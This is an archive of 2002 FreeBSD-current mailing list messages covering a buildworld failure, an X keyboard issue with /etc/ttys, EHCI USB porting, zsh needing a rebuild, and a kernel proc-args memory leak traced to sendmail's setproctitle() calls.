References: <1023942655.2959.18.camel@chowder.gsoft.com.au> <20020613140635.F4720-100000@squirm.dsto.defence.gov.au> <20020616181721.GB90174@genius.tao.org.uk> <xzp4rg22rgq.fsf@flood.ping.uio.no>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="a8Wt8u1KmwUX3Y2C"
Content-Disposition: inline
In-Reply-To: <xzp4rg22rgq.fsf@flood.ping.uio.no>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 17, 2002 at 11:18:45AM +0200, Dag-Erling Smorgrav wrote:
> Josef Karthauser <joe@tao.org.uk> writes:
> > No, all of the headers and support is in place for it already, but
> > someone needs to port the ehci controller code from NetBSD.
>=20
> Could you be persuaded to do just that?
>=20

Maybe, but I'd need some ehci hardware to do so, and I have none hence
not working on it yet.

Joe
--=20
"As far as the laws of mathematics refer to reality, they are not certain;
and as far as they are certain, they do not refer to reality." - Albert
Einstein, 1921

--a8Wt8u1KmwUX3Y2C
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iEYEARECAAYFAj0Nu3cACgkQXVIcjOaxUBY9xwCgp1vttsiYyW6XwbD+iJet0MZj
t1wAn2VeG8uIzIdfKLnFdlIJ/1ssVhSl
=ajdF
-----END PGP SIGNATURE-----

--a8Wt8u1KmwUX3Y2C--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  3:39:17 2002
Delivered-To: freebsd-current@freebsd.org
Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227])
	by hub.freebsd.org (Postfix) with ESMTP id D930437B40F
	for <current@freebsd.org>; Mon, 17 Jun 2002 03:39:13 -0700 (PDT)
Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.192.101])
	by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g5HAdCRY028492
	for <current@freebsd.org>; Mon, 17 Jun 2002 06:39:12 -0400
Received: from calvin.in.ibm.com (calvin.in.ibm.com [9.182.24.126])
	by westrelay05.boulder.ibm.com (8.11.1m3/NCO/VER6.2) with ESMTP id g5HBhtD44782
	for <current@freebsd.org>; Mon, 17 Jun 2002 05:43:56 -0600
Received: by calvin.in.ibm.com (Postfix, from userid 1001)
	id 8BA5A33F3; Mon, 17 Jun 2002 16:06:17 +0530 (IST)
Date: Mon, 17 Jun 2002 16:06:17 +0530
From: Sid Carter <sidcarter@symonds.net>
To: current@freebsd.org
Subject: make buildworld failure
Message-ID: <20020617103617.GA70841@calvin.in.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.99i
X-Operating-System: FreeBSD calvin.in.ibm.com 5.0-CURRENT FreeBSD 5.0-CURRENT 
Organisation: Sid Carter Inc.
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi,

World fails to build. THis is the error I get.

----------------------------------------------
echo truncate: /usr/obj/usr/src/i386/usr/lib/libc.a  >> .depend
===> usr.bin/truss
cp /usr/src/usr.bin/truss/../../sys/kern/syscalls.master syscalls.master
/bin/sh /usr/src/usr.bin/truss/../../sys/kern/makesyscalls.sh
syscalls.master  /usr/src/usr.bin/truss/i386.conf
syscalls.master: line 55: syscall number out of sync at 7
line is:
        struct rusage  * rusage ) ;  }  wait4 wait_args int
*** Error code 1

Stop in /usr/src/usr.bin/truss.
*** Error code 1

Stop in /usr/src/usr.bin.
*** Error code 1
----------------------------------------------

Regards
	Sid
-- 
I've known him as a man, as an adolescent and as a child -- sometimes
on the same day.

Sid Carter                             FreeBSD oder Debian GNU/Linux.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  3:50:52 2002
Delivered-To: freebsd-current@freebsd.org
Received: from lockdown.spectrum.fearmuffs.net (c164-147.pro.thalamus.se [212.31.164.147])
	by hub.freebsd.org (Postfix) with ESMTP id E9B0437B40C
	for <current@freebsd.org>; Mon, 17 Jun 2002 03:50:37 -0700 (PDT)
Received: from lockdown.spectrum.fearmuffs.net (localhost.spectrum.fearmuffs.net [127.0.0.1])
	by lockdown.spectrum.fearmuffs.net (8.12.3/8.12.3) with ESMTP id g5HAoYCv000602;
	Mon, 17 Jun 2002 12:50:34 +0200 (CEST)
	(envelope-from gmh003532@brfmasthugget.se)
Received: (from redpixel@localhost)
	by lockdown.spectrum.fearmuffs.net (8.12.3/8.12.3/Submit) id g5HAoUJG000601;
	Mon, 17 Jun 2002 12:50:30 +0200 (CEST)
	(envelope-from gmh003532@brfmasthugget.se)
Date: Mon, 17 Jun 2002 12:50:30 +0200
From: Martin Faxer <gmh003532@brfmasthugget.se>
To: Sid Carter <sidcarter@symonds.net>
Cc: current@freebsd.org
Subject: Re: make buildworld failure
Message-ID: <20020617105030.GA498@lockdown.spectrum.fearmuffs.net>
References: <20020617103617.GA70841@calvin.in.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617103617.GA70841@calvin.in.ibm.com>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 2002.06.17 16:06:17 +0000, Sid Carter wrote:
> Hi,
> 
> World fails to build. THis is the error I get.
> 
> ----------------------------------------------
> echo truncate: /usr/obj/usr/src/i386/usr/lib/libc.a  >> .depend
> ===> usr.bin/truss
> cp /usr/src/usr.bin/truss/../../sys/kern/syscalls.master syscalls.master
> /bin/sh /usr/src/usr.bin/truss/../../sys/kern/makesyscalls.sh
> syscalls.master  /usr/src/usr.bin/truss/i386.conf
> syscalls.master: line 55: syscall number out of sync at 7
> line is:
>         struct rusage  * rusage ) ;  }  wait4 wait_args int
> *** Error code 1
> 
> Stop in /usr/src/usr.bin/truss.
> *** Error code 1
> 
> Stop in /usr/src/usr.bin.
> *** Error code 1
> ----------------------------------------------

see the thread entitled "Syscalls.master broken on -CURRENT?".
this was discussed just ~2 days ago, and the fix is to rebuild sed.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  4: 5:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227])
	by hub.freebsd.org (Postfix) with ESMTP id BAC1F37B40E
	for <current@freebsd.org>; Mon, 17 Jun 2002 04:05:34 -0700 (PDT)
Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.194.24])
	by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g5HB5XRY061842
	for <current@freebsd.org>; Mon, 17 Jun 2002 07:05:33 -0400
Received: from calvin.in.ibm.com (calvin.in.ibm.com [9.182.24.126])
	by westrelay03.boulder.ibm.com (8.11.1m3/NCO/VER6.2) with ESMTP id g5HB5WQ29964
	for <current@freebsd.org>; Mon, 17 Jun 2002 05:05:32 -0600
Received: by calvin.in.ibm.com (Postfix, from userid 1001)
	id EF9BE33F3; Mon, 17 Jun 2002 16:33:53 +0530 (IST)
Date: Mon, 17 Jun 2002 16:33:52 +0530
From: Sid Carter <sidcarter@symonds.net>
To: current@freebsd.org
Subject: Re: make buildworld failure
Message-ID: <20020617110352.GA8893@calvin.in.ibm.com>
References: <20020617103617.GA70841@calvin.in.ibm.com> <20020617105030.GA498@lockdown.spectrum.fearmuffs.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617105030.GA498@lockdown.spectrum.fearmuffs.net>
User-Agent: Mutt/1.3.99i
X-Operating-System: FreeBSD calvin.in.ibm.com 5.0-CURRENT FreeBSD 5.0-CURRENT 
Organisation: Sid Carter Inc.
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

An Mon, Jun 17, 2002 at 12:50:30PM +0200, Martin Faxer schreib :
> On 2002.06.17 16:06:17 +0000, Sid Carter wrote:
> 
> see the thread entitled "Syscalls.master broken on -CURRENT?".
> this was discussed just ~2 days ago, and the fix is to rebuild sed.

Ooops...my bad...will check it out.
Thanks
Regards
	Sid
-- 
I've known him as a man, as an adolescent and as a child -- sometimes
on the same day.

Sid Carter                             FreeBSD oder Debian GNU/Linux.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  4:13:12 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id CDD1337B429
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 04:13:09 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 02CB25361; Mon, 17 Jun 2002 13:13:07 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Tomi.Vainio@Sun.COM
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 17 Jun 2002 13:13:07 +0200
In-Reply-To: <15629.44131.842990.57839@gargle.gargle.HOWL>
Message-ID: <xzpu1o217lo.fsf@flood.ping.uio.no>
Lines: 15
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM> writes:
> Dag-Erling Smorgrav writes:
> > Why do you have getty and X running on the same vt?  Not to mention,
> > how did you do that, since X normally picks the first unused vt?
> I don't know why it chooses to use that vty when others should be
> available.  In /etc/ttys only v0-v3 are used so v4-v8 are available
> and I think v4 is normally used for X.

Our stock /etc/ttys runs getty on ttyv0-ttyv7, and has a disabled
entry for running xdm on ttyv8.  Can you please post the output of
'grep ttyv /etc/ttys'?

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  4:17: 8 2002
Delivered-To: freebsd-current@freebsd.org
Received: from nwkea-mail-2.sun.com (nwkea-mail-2.sun.com [192.18.42.14])
	by hub.freebsd.org (Postfix) with ESMTP id C7B4737B40D
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 04:17:04 -0700 (PDT)
Received: from sunfin.Finland.Sun.COM ([129.159.101.10])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA22821;
	Mon, 17 Jun 2002 04:17:02 -0700 (PDT)
Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87])
	by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g5HBH2O01598;
	Mon, 17 Jun 2002 14:17:02 +0300 (EEST)
Received: from ultrahot.Finland.Sun.COM (localhost [127.0.0.1])
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2) with ESMTP id g5HBH132000754;
	Mon, 17 Jun 2002 14:17:01 +0300 (EEST)
Received: (from tomppa@localhost)
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2/Submit) id g5HBH0Fg000751;
	Mon, 17 Jun 2002 14:17:00 +0300 (EEST)
From: Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15629.50476.572952.135295@gargle.gargle.HOWL>
Date: Mon, 17 Jun 2002 14:17:00 +0300
To: Dag-Erling Smorgrav <des@ofug.org>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
In-Reply-To: <xzpu1o217lo.fsf@flood.ping.uio.no>
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
X-Mailer: VM 7.05 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid
Reply-To: Tomi.Vainio@Sun.COM
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Dag-Erling Smorgrav writes:
 > 
 > Our stock /etc/ttys runs getty on ttyv0-ttyv7, and has a disabled
 > entry for running xdm on ttyv8.  Can you please post the output of
 > 'grep ttyv /etc/ttys'?
 > 
ttyv0   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv1   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv2   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv3   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv4   "/usr/libexec/getty Pc"         cons25  off secure
ttyv5   "/usr/libexec/getty Pc"         cons25  off secure
ttyv6   "/usr/libexec/getty Pc"         cons25  off secure
ttyv7   "/usr/libexec/getty Pc"         cons25  off secure
ttyv8   "/usr/X11R6/bin/xdm -nodaemon"  xterm   off secure

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  4:17:32 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id 0BE3037B41C
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 04:17:27 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 945AF5363; Mon, 17 Jun 2002 13:17:25 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Josef Karthauser <joe@tao.org.uk>
Cc: "Wilkinson,Alex" <Alex.Wilkinson@dsto.defence.gov.au>,
	Daniel O'Connor <doconnor@gsoft.com.au>,
	Jordan Breeding <jordan.breeding@attbi.com>,
	freebsd-current@freebsd.org
Subject: Re: Support for USB devices out-of-the-box in -current?
References: <1023942655.2959.18.camel@chowder.gsoft.com.au>
	<20020613140635.F4720-100000@squirm.dsto.defence.gov.au>
	<20020616181721.GB90174@genius.tao.org.uk>
	<xzp4rg22rgq.fsf@flood.ping.uio.no>
	<20020617103535.GA41262@genius.tao.org.uk>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 17 Jun 2002 13:17:24 +0200
In-Reply-To: <20020617103535.GA41262@genius.tao.org.uk>
Message-ID: <xzpptyq17ej.fsf@flood.ping.uio.no>
Lines: 11
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Josef Karthauser <joe@tao.org.uk> writes:
> Maybe, but I'd need some ehci hardware to do so, and I have none hence
> not working on it yet.

Please locate a web store that has hardware you can use for this (a
PCI USB adapter perhaps?) and mail me the URL + your shipping
address.  I'll see what I can do.

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  4:19:54 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id 6B76E37B41F
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 04:19:47 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 0C04F5361; Mon, 17 Jun 2002 13:19:46 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Tomi.Vainio@Sun.COM
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
	<15629.50476.572952.135295@gargle.gargle.HOWL>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 17 Jun 2002 13:19:45 +0200
In-Reply-To: <15629.50476.572952.135295@gargle.gargle.HOWL>
Message-ID: <xzplm9e17am.fsf@flood.ping.uio.no>
Lines: 18
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM> writes:
> ttyv0   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv1   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv2   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv3   "/usr/libexec/getty Pc"         cons25  on  secure
> ttyv4   "/usr/libexec/getty Pc"         cons25  off secure
> ttyv5   "/usr/libexec/getty Pc"         cons25  off secure
> ttyv6   "/usr/libexec/getty Pc"         cons25  off secure
> ttyv7   "/usr/libexec/getty Pc"         cons25  off secure
> ttyv8   "/usr/X11R6/bin/xdm -nodaemon"  xterm   off secure

Right, so how do you start X?  The supported method is to chane "off"
on the ttyv8 line to "on".  And is there any particular reason why you
disabled ttyv4-ttyv7?

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  4:23:55 2002
Delivered-To: freebsd-current@freebsd.org
Received: from nwkea-mail-1.sun.com (nwkea-mail-1.sun.com [192.18.42.13])
	by hub.freebsd.org (Postfix) with ESMTP id 41C9E37B42C
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 04:23:49 -0700 (PDT)
Received: from sunfin.Finland.Sun.COM ([129.159.101.10])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA11323;
	Mon, 17 Jun 2002 04:23:47 -0700 (PDT)
Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87])
	by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g5HBNlO01711;
	Mon, 17 Jun 2002 14:23:47 +0300 (EEST)
Received: from ultrahot.Finland.Sun.COM (localhost [127.0.0.1])
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2) with ESMTP id g5HBNj32000810;
	Mon, 17 Jun 2002 14:23:45 +0300 (EEST)
Received: (from tomppa@localhost)
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2/Submit) id g5HBNjV1000807;
	Mon, 17 Jun 2002 14:23:45 +0300 (EEST)
From: Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15629.50880.965301.770071@gargle.gargle.HOWL>
Date: Mon, 17 Jun 2002 14:23:44 +0300
To: Dag-Erling Smorgrav <des@ofug.org>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
In-Reply-To: <xzplm9e17am.fsf@flood.ping.uio.no>
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
	<15629.50476.572952.135295@gargle.gargle.HOWL>
	<xzplm9e17am.fsf@flood.ping.uio.no>
X-Mailer: VM 7.05 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid
Reply-To: Tomi.Vainio@Sun.COM
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Dag-Erling Smorgrav writes:
 > 
 > Right, so how do you start X?  The supported method is to chane "off"
 > on the ttyv8 line to "on".  And is there any particular reason why you
 > disabled ttyv4-ttyv7?
 > 
I manually run xdm because X has been broken so long :-)  Normally
I've used /usr/local/etc/rc.d/90.xdm.sh but now it's disabled.  I've
also tried startx but the problem is exactly the same.

  Tomppa

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  6:12:32 2002
Delivered-To: freebsd-current@freebsd.org
Received: from fledge.watson.org (fledge.watson.org [204.156.12.50])
	by hub.freebsd.org (Postfix) with ESMTP id E32C737B40A
	for <current@FreeBSD.org>; Mon, 17 Jun 2002 06:12:26 -0700 (PDT)
Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3])
	by fledge.watson.org (8.12.3/8.12.3) with SMTP id g5HDBwb5008700
	for <current@FreeBSD.org>; Mon, 17 Jun 2002 09:11:58 -0400 (EDT)
	(envelope-from robert@fledge.watson.org)
Date: Mon, 17 Jun 2002 09:11:58 -0400 (EDT)
From: Robert Watson <rwatson@FreeBSD.org>
X-Sender: robert@fledge.watson.org
To: current@FreeBSD.org
Subject: Heads up to current users: zsh needs recompiling
Message-ID: <Pine.NEB.3.96L.1020617090941.8590B-100000@fledge.watson.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


I recently stripped the POSIX.1e capability code from the 5.0 tree since
the kernel implementation wasn't committed, and we're not sure there's
enough time for it to shake out before 5.0 (and whether it's 100%
desirable).  Instead we're focussing on getting the MAC framework in.  I
figured since it was unimplemented that it wouldn't hurt to remove it --
but apparently the zsh binary autoconf'd it in and attempted to use it, so
removing it results in (a) if your world is out of sync with the kernel, a
signal death, and (b) if your world is in sync, a failure to find a symbol
in libc.  You'll need to rebuild zsh.  This doesn't affect -STABLE since
we never introduced the library calls there. 

Robert N M Watson             FreeBSD Core Team, TrustedBSD Projects
robert@fledge.watson.org      Network Associates Laboratories


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  6:12:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id 7C1B137B407
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 06:12:48 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id XAA18784;
	Mon, 17 Jun 2002 23:12:39 +1000
Date: Mon, 17 Jun 2002 23:17:21 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: Peter Jeremy <peter.jeremy@alcatel.com.au>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: proc-args (M_PARGS) leakage
In-Reply-To: <20020617155522.X3493-100000@gamplex.bde.org>
Message-ID: <20020617230109.I360-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, 17 Jun 2002, Bruce Evans wrote:

> On Mon, 17 Jun 2002, Peter Jeremy wrote:
>
> > Having noticed that my system is paging far more than I would have
> > expected, I went looking and found that the 'proc-args' pool was
> > far larger than I expected.  And is growing over time:
> >
> > gsmx07# vmstat -m|grep proc-args
> >     proc-args701802 70634K  70634K  1589264  16,32,64,128,256
> > [about 10 minutes delay]
> > gsmx07# vmstat -m|grep proc-args;vmstat -m|grep proc-args
> >     proc-args702048 70652K  70652K  1589557  16,32,64,128,256
> >     proc-args702047 70652K  70652K  1589558  16,32,64,128,256
> > gsmx07#
>
> I see a relatively slow growth on a fairly idle machine (4031K after
> 3 days of uptime).

> > [bugs in sysctl_kern_proc_args]
> ...
> Otherwise OK until here, as above.  We return if we are just reading
> the proc table.  I would have though that this was the usual case, but
> on my fairly idle system it is 100% unusual: this sysctl is only used
> by sendmail to write sometime.

sendmail was just doing setproctitle() to usually the same value every
few seconds.  Doing sysproctitle() in a loop exhausts kernel memory in a
few minutes (it should only take a few seconds, but bot the user and
kernel parts of setproctitle() are slow).

> Other bugs:
>
>         if (req->oldptr && pa != NULL) {
>                 error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
>         }
>
> This fails to set the output parameters in the req->oldptr != NULL case.
> It also has some style bugs (only one pointer explicitly compared with NULL,
> and verbose braces).

